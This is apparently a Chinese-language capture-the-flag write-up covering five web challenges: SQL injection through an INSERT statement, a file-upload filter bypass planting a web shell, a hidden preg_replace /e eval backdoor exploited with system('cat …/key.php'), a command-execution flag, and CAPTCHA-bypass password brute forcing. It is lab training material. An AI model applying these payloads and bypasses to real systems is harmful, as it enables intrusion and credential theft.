34011-34015
34011sql注入漏洞:
1.注册页找注入点,注册一个正常用户123,和一个符号用户’")#%–,发现可以注册,说明注册页无注入点。
2.发表页面
这里使用符号用户进行发表,提示失败说明此页面包含用户名,且含有注入点,换一个用户进行发表。
这里使用的是insert语句,应该是insert(‘’,‘’,‘’)格式,所以尝试‘,‘)测试闭合:
使用单引号时失败,说明是单引号
‘)-- 失败接着测试‘,‘’)-- 成功,说明内容后边还有一个插入的内容,根据插入未显示以及不同用户不能相互查看可推测是用户名。
测试:
‘,‘123’)–
成功显示,但是由于两个注入点都无法进行完整注入,接着对title进行测试:
title=tit’,‘concom’,‘123’)-- &content=con1
成功显示
因此可对concom字段处进行注入:
查库:
查表:
select group_concat(table_name)from information_schema.table where table_schema=‘2web’
其中要对关键词进行大小写空格绕过
查users1表的内容
查字段:
最后直接查用户名为admin时的password
34012文件上传
题干提示答案就在根目录下key.php文件中。
上传图片马失败,说明是内容过滤
抓包对内容进行测试
将eval进行大写即可对其进行绕过,并将后缀名改为pht,用蚁剑连接
34013文件包含
答案就在根目录下key.php文件中。
进行文件包含读取----->ERROR说明包含指令不行
查看当前页面view.html的源码,发现有一行代码
对其进行分析:
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\[(.*)\]/e",'\\1',base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10='));
}
?>
//执行参数是Hello进行传参
//preg_replace是替换函数:
// /e代表把匹配的当成PHP脚本执行
//base64_decode('W0BldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpO10=')解码后:[@eval(base64_decode($_POST[z0]));]整个正则就是将这个进行php代码执行,
//包含两个参数Hello=1&z0=base64(phpinfo();)包含页面进行执行
利用系统执行代码查看key.php:
Hello=1&z0=system(‘ls …/’);
Hello=1&z0=system(‘cat …/key.php’);
查看源码
34014命令执行
送分题
sort …/key.php
34015验证码爆破
抓取两个包,一个数据包一个验证码请求包,将数据包for,验证码包drop,验证码不再刷新。
对数据包进行爆破,只对密码进行爆破即可
得到密码